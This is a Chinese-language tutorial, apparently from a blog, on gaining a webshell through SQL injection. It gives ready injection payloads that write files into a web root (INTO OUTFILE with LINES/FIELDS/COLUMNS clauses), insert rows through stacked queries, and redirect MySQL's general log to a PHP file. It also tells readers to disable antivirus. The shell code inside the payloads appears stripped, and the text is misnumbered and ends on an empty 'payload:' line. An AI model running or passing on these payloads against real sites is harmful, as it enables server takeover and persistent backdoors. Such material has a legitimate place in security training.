网络知识 娱乐 SQL注入-getshell

SQL注入-getshell

目录

一、getshell的含义

1.什么是shell?

2.什么是webshell?

3.什么是getshell

二、大马和小马的比较

三、SQL注入getshell

1.写文件--into outfile

2.union select getshell

3.lines starting getshell

4.fields terminated getshell

5.COLUMNS terminated getshell

6.getshell-数据表getshell

7.getshell-日志getshell


一、getshell的含义

1.什么是shell?

Shell 是一个程序,提供一个用户与操作系统内核连接的环境。这个环境只有一个命令提示符,让用户从键盘输入命令,所以又称为命令行环境。

2.什么是webshell?

WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。

3.什么是getshell

攻击者通过多种漏洞常见如文件上传、SQL注入、命令执行、文件包含、解析漏洞等,将脚本文件上传到Web服务器,并让服务器解析,从而使攻击者能得到一个与服务器进行交互的命令执行环境,进而得以控制服务器。

二、大马和小马的比较

小马(一句话木马)大马
功能功能简单,需要配合客户端使用功能完善,直接使用浏览器即可利用
文件大小代码量通常在一行左右,不超过10行代码量通常较大
隐蔽性强,容易通过变形隐藏特征,绕过过滤相对较弱,代码量大,通常需要通过加密等方式来隐藏特征。

三、SQL注入getshell

1.写文件--into outfile

前提:

  1. 网站的绝对路径
  2. 没有对引号进行过滤
  3. 文件必须有写的权限

2.union select getshell

payload:1' union select 1,'',3 into outfile 'd:/phpstudy_pro/www/1.php'--+

注意:需要关闭电脑的病毒检测

使用c刀连接

2.lines terminated by 

        lines terminated by 该语句是设置每行数据结尾的字符,可以设置为单个或多个字符,默认为“/n”;

payload: ?id=1' into outfile 'd:/phpstudy_pro/www/2.php'lines terminated by''--+3.

3.lines starting getshell

lines starting getshell该语句为设置每行开头的字符

payload:?id=1' into outfile 'd:/phpstudy_pro/www/3.php'lines starting by''--+

4.fields terminated getshell

fields terminated by 设置字段之间的分隔符,默认值是"t"

payload:?id=1')) into outfile'd:/phpstudy_pro/www/4.php' fields terminated by ''--+

5.COLUMNS terminated getshell

COLUMNS terminated by 设置字段之间的分隔符,默认值是"t"

payload:?id=1')) into outfile'd:/phpstudy_pro/www/6.php' COLUMNS terminated by''--+

6.getshell-数据表getshell

前提:需要将shell内容插入数据表中,在将表内容写成可执行文件,所以要想利用它getshell,一般数据库有堆叠注入或phpmyadmin或有一个数据库的基本权限才能getshell。

payload:id=1';insert into users(username,password) values('')--+

7.getshell-日志getshell

7.1 开启全局日志配置

payload:?id=1';set global general_log = on;--+

7.2设置日志路径(webshell路径)

id=1';set global general_log_file = 'd:/phpStudy_pro/WWW/8.php';--+

7.3写入木马病毒

id=1';select '';--+

payload: